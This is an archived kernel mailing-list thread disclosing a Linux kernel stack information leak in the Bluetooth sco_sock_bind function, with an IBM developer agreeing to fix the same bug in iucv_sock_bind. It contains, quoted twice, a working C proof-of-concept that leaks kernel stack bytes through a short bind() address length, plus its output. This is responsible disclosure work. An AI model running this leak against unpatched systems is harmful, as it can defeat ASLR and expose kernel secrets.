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[Fwd: Fw: Information leak in sco_sock_bind]

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  [Fwd: Fw: Information leak in sco_sock_bind] Ursula Braun <ubraun@linux.vnet.ibm.com> - 2016-01-15 09:30 +0100
    Re: [Fwd: Fw: Information leak in sco_sock_bind] Dmitry Vyukov <dvyukov@google.com> - 2016-01-15 09:40 +0100

#1309946 — [Fwd: Fw: Information leak in sco_sock_bind]

Hi Dmitry,

thx for mentioning iucv_sock_bind here. I will provide the equivalent
fix and add your name as "Reported-by" - if you do not object.

Regards, Ursula Braun

----- Forwarded by Ursula Braun1/Germany/IBM on 15/01/2016 09:18 -----

From:        Dmitry Vyukov <dvyukov@google.com>
To:        Marcel Holtmann <marcel@holtmann.org>, Gustavo Padovan
<gustavo@padovan.org>, Johan Hedberg <johan.hedberg@gmail.com>, "David
S. Miller" <davem@davemloft.net>, linux-bluetooth@vger.kernel.org,
netdev <netdev@vger.kernel.org>, LKML <linux-kernel@vger.kernel.org>,
syzkaller <syzkaller@googlegroups.com>, Kostya Serebryany
<kcc@google.com>, Alexander Potapenko <glider@google.com>, Sasha Levin
<sasha.levin@oracle.com>, Eric Dumazet <edumazet@google.com>, Kees Cook
<keescook@google.com>, Hannes Frederic Sowa
<hannes@stressinduktion.org>, Ursula Braun1/Germany/IBM@IBMDE,
linux-s390@vger.kernel.org, Lauro Ramos Venancio
<lauro.venancio@openbossa.org>, Aloisio Almeida Jr
<aloisio.almeida@openbossa.org>, Samuel Ortiz <sameo@linux.intel.com>, 
Date:        15/12/2015 21:02
Subject:        Information leak in sco_sock_bind

Hello,

The following program leads to leak of 6 bytes from kernel stack:

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

struct sockaddr_sco {
sa_family_t     sco_family;
char        sco_bdaddr[6];
};

#define BTPROTO_SCO 2

int main(void)
{
       struct sockaddr sa;
       struct sockaddr_sco sco_sa;
       unsigned len, i, try;
       int fd;

       for (try = 0; try < 3; try++) {
               fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
               if (fd == -1)
                       return;
               switch (try) {
               case 0:
               break;
               case 1:
               sched_yield();
               break;
               case 2:
               open("/dev/null", O_RDONLY);
               }
               memset(&sco_sa, 0, sizeof(sco_sa));
               sco_sa.sco_family = AF_BLUETOOTH;
               bind(fd, &sco_sa, 2);
               len = sizeof(sa);
               getsockname(fd, &sa, &len);
               for (i = 0; i < len; i++)
                       printf("%02x", ((unsigned char*)&sa)[i]);
               printf("\n");
       }
       return 0;
}

Output:
1f00333e0088ffff
1f00c13e0088ffff
1f002081ffffffff

The problem is that sco_sock_bind does not check sockaddr_len passed
in, so it copies stack garbage from stack into the socket. This can
defeat ASLR, leak crypto keys, etc.
We've just fixed a similar issue in pptp_bind. The similar issue is in
llcp_sock_bind and llcp_raw_sock_bind. And there seems to be the same
bug in iucv_sock_bind, it is S390 specific, so I can't test it.

Kees proposed to zero unused part of sockaddr in SyS_bind/SyS_connect,
or add addr size to proto struct to prevent all such existing and
future bugs.

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#1309951

On Fri, Jan 15, 2016 at 9:25 AM, Ursula Braun <ubraun@linux.vnet.ibm.com> wrote:
> Hi Dmitry,
>
> thx for mentioning iucv_sock_bind here. I will provide the equivalent
> fix and add your name as "Reported-by" - if you do not object.

I do not object.

> Regards, Ursula Braun
>
> ----- Forwarded by Ursula Braun1/Germany/IBM on 15/01/2016 09:18 -----
>
> From:        Dmitry Vyukov <dvyukov@google.com>
> To:        Marcel Holtmann <marcel@holtmann.org>, Gustavo Padovan
> <gustavo@padovan.org>, Johan Hedberg <johan.hedberg@gmail.com>, "David
> S. Miller" <davem@davemloft.net>, linux-bluetooth@vger.kernel.org,
> netdev <netdev@vger.kernel.org>, LKML <linux-kernel@vger.kernel.org>,
> syzkaller <syzkaller@googlegroups.com>, Kostya Serebryany
> <kcc@google.com>, Alexander Potapenko <glider@google.com>, Sasha Levin
> <sasha.levin@oracle.com>, Eric Dumazet <edumazet@google.com>, Kees Cook
> <keescook@google.com>, Hannes Frederic Sowa
> <hannes@stressinduktion.org>, Ursula Braun1/Germany/IBM@IBMDE,
> linux-s390@vger.kernel.org, Lauro Ramos Venancio
> <lauro.venancio@openbossa.org>, Aloisio Almeida Jr
> <aloisio.almeida@openbossa.org>, Samuel Ortiz <sameo@linux.intel.com>,
> Date:        15/12/2015 21:02
> Subject:        Information leak in sco_sock_bind
>
> Hello,
>
> The following program leads to leak of 6 bytes from kernel stack:
>
> #include <sys/types.h>
> #include <sys/socket.h>
> #include <linux/in.h>
> #include <linux/in6.h>
> #include <linux/socket.h>
> #include <linux/if.h>
> #include <errno.h>
> #include <stdio.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/stat.h>
> #include <fcntl.h>
>
> struct sockaddr_sco {
> sa_family_t     sco_family;
> char        sco_bdaddr[6];
> };
>
> #define BTPROTO_SCO 2
>
> int main(void)
> {
>        struct sockaddr sa;
>        struct sockaddr_sco sco_sa;
>        unsigned len, i, try;
>        int fd;
>
>        for (try = 0; try < 3; try++) {
>                fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
>                if (fd == -1)
>                        return;
>                switch (try) {
>                case 0:
>                break;
>                case 1:
>                sched_yield();
>                break;
>                case 2:
>                open("/dev/null", O_RDONLY);
>                }
>                memset(&sco_sa, 0, sizeof(sco_sa));
>                sco_sa.sco_family = AF_BLUETOOTH;
>                bind(fd, &sco_sa, 2);
>                len = sizeof(sa);
>                getsockname(fd, &sa, &len);
>                for (i = 0; i < len; i++)
>                        printf("%02x", ((unsigned char*)&sa)[i]);
>                printf("\n");
>        }
>        return 0;
> }
>
> Output:
> 1f00333e0088ffff
> 1f00c13e0088ffff
> 1f002081ffffffff
>
> The problem is that sco_sock_bind does not check sockaddr_len passed
> in, so it copies stack garbage from stack into the socket. This can
> defeat ASLR, leak crypto keys, etc.
> We've just fixed a similar issue in pptp_bind. The similar issue is in
> llcp_sock_bind and llcp_raw_sock_bind. And there seems to be the same
> bug in iucv_sock_bind, it is S390 specific, so I can't test it.
>
> Kees proposed to zero unused part of sockaddr in SyS_bind/SyS_connect,
> or add addr size to proto struct to prevent all such existing and
> future bugs.
>
>
>
>
> --
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> To unsubscribe from this group and stop receiving emails from it, send an email to syzkaller+unsubscribe@googlegroups.com.
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